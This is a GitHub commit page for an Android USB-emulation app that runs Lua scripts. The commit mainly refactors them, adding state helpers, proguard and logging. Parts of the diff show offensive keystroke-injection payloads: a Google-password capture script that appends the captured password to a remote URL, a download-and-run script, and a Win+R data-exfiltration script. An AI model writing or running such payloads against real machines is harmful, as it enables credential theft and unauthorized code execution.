Skip to content

Commit

Permalink
usb: automatically detect hid minor
Browse files Browse the repository at this point in the history
build: re-enable proguard
app: improve logging and diagnostics
  • Loading branch information
Netdex committed Jul 12, 2024
1 parent 9ea34ab commit 385a06b
Show file tree
Hide file tree
Showing 28 changed files with 259 additions and 268 deletions.
6 changes: 3 additions & 3 deletions app/build.gradle
Original file line number Diff line number Diff line change
Expand Up @@ -11,7 +11,7 @@ android {
}
buildTypes {
release {
minifyEnabled false
minifyEnabled true
proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
}
}
Expand All @@ -33,14 +33,14 @@ dependencies {
implementation 'com.google.android.material:material:1.12.0'

implementation 'org.luaj:luaj-jse:3.0.1'
implementation 'androidx.appcompat:appcompat:1.6.1'
implementation 'androidx.appcompat:appcompat:1.7.0'

implementation "com.github.topjohnwu.libsu:core:5.2.0"
implementation "com.github.topjohnwu.libsu:service:5.2.0"
implementation "com.github.topjohnwu.libsu:nio:5.2.0"
implementation "com.github.topjohnwu.libsu:io:5.2.0"

implementation(platform("org.jetbrains.kotlin:kotlin-bom:1.8.0")) // ???
implementation 'com.jakewharton.timber:timber:5.0.1'
}
repositories {
mavenCentral()
Expand Down
5 changes: 4 additions & 1 deletion app/proguard-rules.pro
Original file line number Diff line number Diff line change
Expand Up @@ -16,4 +16,7 @@
# public *;
#}

# This is generated automatically by the Android Gradle plugin.
# This is generated automatically by the Android Gradle plugin.

-dontwarn javax.script.**
-keepnames class org.luaj.vm2.** {*; }
12 changes: 7 additions & 5 deletions app/src/main/assets/lib/common.lua
Original file line number Diff line number Diff line change
Expand Up @@ -15,19 +15,18 @@ end

function wait_for_state(state)
while luausb.state() ~= state do
wait(100)
wait(1000)
end
end

-- make it really obvious when a script is done running
function done(kb)
function flash(kb)
kb:press(KEY_NUMLOCK)

wait(100)
local lock
while true do
local val = kb:read_lock()
print(val)
if val == nil then break end
lock = val
end
Expand All @@ -37,8 +36,11 @@ function done(kb)
if lock.caps_lock then kb:press(KEY_CAPSLOCK) end
if lock.scroll_lock then kb:press(KEY_SCROLLLOCK) end

while true do
local state = luausb.state()
while luausb.state() == state do
kb:press(KEY_NUMLOCK, KEY_CAPSLOCK, KEY_SCROLLLOCK)
wait(50)
kb:press(KEY_NUMLOCK, KEY_CAPSLOCK, KEY_SCROLLLOCK)
wait(500)
wait(950)
end
end
18 changes: 8 additions & 10 deletions app/src/main/assets/scripts/chromeacct.lua
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
---
require("common")

kb = luausb.create({ id = 0, type = "keyboard" })
kb = luausb.create({ type = "keyboard" })

-- This URL will be visited with the captured password appended to the end
local endpoint = prompt{
Expand All @@ -16,10 +16,7 @@ while true do
print("idle")

-- poll until usb plugged in
while luausb.state() == "not attached" do
wait(1000)
end

wait_for_state("configured")
wait_for_detect(kb)
print("running")

Expand All @@ -30,7 +27,10 @@ while true do
wait(2000)

-- navigate to login page
kb:string("accounts.google.com\n")
kb:string("accounts.google.com")
-- get rid of any autofill that appears in the omnibar
kb:press(KEY_DELETE)
kb:press(KEY_ENTER)
wait(2000)

-- autofill username and continue
Expand Down Expand Up @@ -66,10 +66,8 @@ while true do
wait(1000)

print("done")
-- poll until usb unplugged
while luausb.state() == "configured" do
wait(1000)
end
wait_for_state("not attached")

print("disconnected")
end

16 changes: 4 additions & 12 deletions app/src/main/assets/scripts/composite.lua
Original file line number Diff line number Diff line change
Expand Up @@ -5,17 +5,13 @@

require('common')

kb1, kb2 = luausb.create({ type = "keyboard", id = 0 }, { type = "keyboard", id = 1 })
kb1, kb2 = luausb.create({ type = "keyboard" }, { type = "keyboard" })

while true do
print("idle")

-- poll until usb plugged in
while luausb.state() == "not attached" do
wait(1000)
end

wait_for_detect(kb)
wait_for_state("configured")
wait_for_detect(kb1)
print("running")

-- send a string from keyboard 1
Expand All @@ -25,11 +21,7 @@ while true do
kb2:string("kb2")

print("done")

-- poll until usb unplugged
while luausb.state() == "configured" do
wait(1000)
end
wait_for_state("not attached")

print("disconnected")

Expand Down
2 changes: 1 addition & 1 deletion app/src/main/assets/scripts/debug.lua
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
require('common')
local inspect = require('inspect')

kb = luausb.create({ id = 0, type = "keyboard" })
kb = luausb.create({ type = "keyboard" })

wait(1000)

Expand Down
13 changes: 4 additions & 9 deletions app/src/main/assets/scripts/downloadrun.lua
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@

require('common')

kb = luausb.create({ id = 0, type = "keyboard" })
kb = luausb.create({ type = "keyboard" })

local file = prompt{
message="Enter the URL for the file to download.",
Expand All @@ -20,10 +20,7 @@ while true do
print("idle")

-- poll until usb plugged in
while luausb.state() == "not attached" do
wait(1000)
end

wait_for_state("configured")
wait_for_detect(kb)
print("running")

Expand Down Expand Up @@ -58,10 +55,8 @@ while true do
)

print("done")
-- poll until usb unplugged
while luausb.state() == "configured" do
wait(1000)
end
wait_for_state("not attached")

print("disconnected")
end

10 changes: 5 additions & 5 deletions app/src/main/assets/scripts/exfiltrate.lua
Original file line number Diff line number Diff line change
Expand Up @@ -5,18 +5,19 @@

require('common')

kb = luausb.create({ id = 0, type = "keyboard"}, {id = 0, type = "storage" })
local LABEL = "COMPOSITE"

local LABEL = "COMPOSITE" -- label of the drive (as assigned by you)
kb = luausb.create({ type = "keyboard"}, { type = "storage", label = LABEL })

while true do
print("idle")

-- poll until usb plugged in
wait_for_state('configured')

wait_for_detect(kb)

print("running")
wait(2000) -- wait in case explorer pops up

kb:chord(MOD_LSUPER, KEY_R)
wait(1000)
Expand All @@ -26,8 +27,7 @@ while true do
.. "computername'.txt'\"\n")

print("done")
done(kb)
wait_for_state('not attached')
wait_for_state("not attached")

print("disconnected")
end
Expand Down
2 changes: 1 addition & 1 deletion app/src/main/assets/scripts/massstorage.lua
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
--- Simple mass storage device using default options
---

_ = luausb.create({ id = 0, type = "storage" })
_ = luausb.create({ type = "storage" })

while true do
wait(1000)
Expand Down
7 changes: 3 additions & 4 deletions app/src/main/assets/scripts/mouse.lua
Original file line number Diff line number Diff line change
@@ -1,14 +1,13 @@
---
--- Draw some cool circles using the mouse
---
require('common')

ms1 = luausb.create({ type = "mouse", id = 0 })
ms1 = luausb.create({ type = "mouse" })

while true do
-- poll until usb plugged in
while luausb.state() == "not attached" do
wait(1000)
end
wait_for_state("configured")

t = 0
s = 0.05
Expand Down
2 changes: 1 addition & 1 deletion app/src/main/assets/scripts/test.lua
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
kb = luausb.create({ id = 0, type = "keyboard" })
kb = luausb.create({ type = "keyboard" })

while true do
wait(1000)
Expand Down
6 changes: 2 additions & 4 deletions app/src/main/assets/scripts/wallpaper.lua
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@

require('common')

kb = luausb.create({ id = 0, type = "keyboard" })
kb = luausb.create({ type = "keyboard" })

local file = prompt{
message="Enter the URL of the wallpaper to download.",
Expand All @@ -17,7 +17,6 @@ while true do

-- poll until usb plugged in
wait_for_state('configured')

wait_for_detect(kb)
print("running")

Expand All @@ -39,6 +38,5 @@ while true do
"exit\n")

print("done")

wait_for_state('not attached')
wait_for_state("not attached")
end
13 changes: 12 additions & 1 deletion app/src/main/java/org/netdex/androidusbscript/MainActivity.java
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
package org.netdex.androidusbscript;

import android.annotation.SuppressLint;
import android.app.Activity;
import android.content.ComponentName;
import android.content.Context;
Expand Down Expand Up @@ -29,6 +30,10 @@
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.os.HandlerCompat;

import timber.log.Timber;

import static timber.log.Timber.DebugTree;

import org.netdex.androidusbscript.gui.ConfirmDialog;
import org.netdex.androidusbscript.gui.PromptDialog;
import org.netdex.androidusbscript.service.LuaUsbService;
Expand All @@ -54,9 +59,15 @@ public class MainActivity extends AppCompatActivity {

private Button btnCancel_;

@SuppressLint("UnspecifiedRegisterReceiverFlag")
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

// https://github.com/JakeWharton/timber/issues/484
// noinspection DataFlowIssue
Timber.plant((Timber.Tree) (Object) new Timber.DebugTree());

setContentView(R.layout.activity_main);

handler_ = HandlerCompat.createAsync(Looper.getMainLooper());
Expand All @@ -78,7 +89,7 @@ protected void onCreate(Bundle savedInstanceState) {
registerReceiver(notificationBroadcastReceiver_, filter);
}

LuaIOBridge dialogIO = new LuaIOBridge() {
var dialogIO = new LuaIOBridge() {
@Override
public void onLogMessage(String s) {
handler_.post(() -> {
Expand Down
Loading

0 comments on commit 385a06b

Please sign in to comment.